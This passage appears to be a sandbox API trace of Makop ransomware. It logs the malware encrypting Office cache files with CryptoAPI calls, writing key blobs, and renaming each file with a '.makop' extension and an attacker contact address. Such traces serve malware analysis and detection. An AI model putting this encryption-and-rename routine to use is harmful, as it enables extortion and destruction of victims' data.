lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0x6, lpOverlapped=0x0) returned 1 [0081.863] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0081.863] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0081.863] GetProcessHeap () returned 0x48a0000 [0081.863] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x50) returned 0x48c3f98 [0081.864] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3f98*, pdwDataLen=0x6579510*=0x50, dwBufLen=0x50 | out: pbData=0x48c3f98*, pdwDataLen=0x6579510*=0x50) returned 1 [0081.865] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0081.866] WriteFile (in: hFile=0x124, lpBuffer=0x48c3f98*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c3f98*, lpNumberOfBytesWritten=0x6579528*=0x50, lpOverlapped=0x0) returned 1 [0081.866] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0081.867] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0081.867] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0081.867] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0081.867] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0081.867] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0081.867] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0081.867] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.868] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0xaec3a, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0xaec3a, lpOverlapped=0x0) returned 1 [0081.891] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0xaec40, dwBufLen=0xaec40 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0xaec40) returned 1 [0081.900] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.900] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0xaec40, lpOverlapped=0x0) returned 1 [0081.907] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0081.907] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xaed24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.907] SetEndOfFile (hFile=0x124) returned 1 [0081.918] GetProcessHeap () returned 0x48a0000 [0081.918] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3f98 | out: hHeap=0x48a0000) returned 1 [0081.918] GetProcessHeap () returned 0x48a0000 [0081.918] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0081.918] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 134 [0081.918] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0081.919] CloseHandle (hObject=0x124) returned 1 [0081.919] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7c1614f0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7c1614f0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xa4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.msi", cAlternateFileName="PRJPRO~1.MSI")) returned 1 [0081.920] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0081.920] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.922] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x6579538 | out: lpFileSize=0x6579538*=10798080) returned 1 [0081.922] GetProcessHeap () returned 0x48a0000 [0081.922] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0081.922] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0081.922] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.923] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0081.923] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0081.923] GetProcessHeap () returned 0x48a0000 [0081.923] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0081.923] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40) returned 1 [0081.923] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0081.924] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579524*=0x40, lpOverlapped=0x0) returned 1 [0081.933] WriteFile (in: hFile=0x124, lpBuffer=0x657952c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x657952c*, lpNumberOfBytesWritten=0x6579524*=0x4, lpOverlapped=0x0) returned 1 [0081.933] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579524*=0x10, lpOverlapped=0x0) returned 1 [0081.934] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579524*=0x80, lpOverlapped=0x0) returned 1 [0081.934] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0081.934] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579524*=0x8, lpOverlapped=0x0) returned 1 [0081.934] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0081.935] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0081.935] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0081.935] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0081.954] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0081.957] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.957] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0081.959] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa4c4d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.959] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0081.960] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x36ec00, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0081.960] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0081.979] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0081.982] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x36ec00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.982] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0081.984] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa4c4d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.985] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0081.985] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa0c400, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0081.985] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0082.014] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0082.016] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa0c400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.017] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0082.019] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa4c4d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.019] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0082.019] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0082.019] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa4c4d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.019] SetEndOfFile (hFile=0x124) returned 1 [0082.037] GetProcessHeap () returned 0x48a0000 [0082.038] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0082.038] GetProcessHeap () returned 0x48a0000 [0082.038] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0082.038] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0082.038] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0082.040] CloseHandle (hObject=0x124) returned 1 [0082.040] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cabec50, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7cabec50, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.xml", cAlternateFileName="PRJPRO~1.XML")) returned 1 [0082.040] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0082.040] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.044] GetProcessHeap () returned 0x48a0000 [0082.044] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0082.044] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0082.045] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0082.045] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0xb, lpOverlapped=0x0) returned 1 [0082.050] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0082.050] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0082.050] GetProcessHeap () returned 0x48a0000 [0082.050] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0082.050] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40) returned 1 [0082.050] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0082.050] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0082.051] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0082.051] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0082.051] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0082.051] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0082.052] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0082.052] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0082.052] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0082.052] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.052] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1915, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x1915, lpOverlapped=0x0) returned 1 [0082.054] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x1920, dwBufLen=0x1920 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x1920) returned 1 [0082.054] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.054] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x1920, lpOverlapped=0x0) returned 1 [0082.054] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0082.054] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x19f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.054] SetEndOfFile (hFile=0x124) returned 1 [0082.061] GetProcessHeap () returned 0x48a0000 [0082.061] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0082.061] GetProcessHeap () returned 0x48a0000 [0082.061] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0082.061] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0082.061] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0082.062] CloseHandle (hObject=0x124) returned 1 [0082.063] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6c87b0c0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x6c87b0c0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa6b67930, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x9b6ba9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjPrrWW.cab", cAlternateFileName="")) returned 1 [0082.063] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0082.063] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.064] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x6579538 | out: lpFileSize=0x6579538*=162970271) returned 1 [0082.064] GetProcessHeap () returned 0x48a0000 [0082.064] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0082.064] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0082.064] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.064] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579524*=0x1, lpOverlapped=0x0) returned 1 [0082.079] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0082.079] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0082.079] GetProcessHeap () returned 0x48a0000 [0082.079] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0082.079] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40) returned 1 [0082.079] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0082.079] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579524*=0x40, lpOverlapped=0x0) returned 1 [0082.080] WriteFile (in: hFile=0x124, lpBuffer=0x657952c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x657952c*, lpNumberOfBytesWritten=0x6579524*=0x4, lpOverlapped=0x0) returned 1 [0082.080] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579524*=0x10, lpOverlapped=0x0) returned 1 [0082.080] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579524*=0x80, lpOverlapped=0x0) returned 1 [0082.080] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0082.080] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579524*=0x8, lpOverlapped=0x0) returned 1 [0082.080] 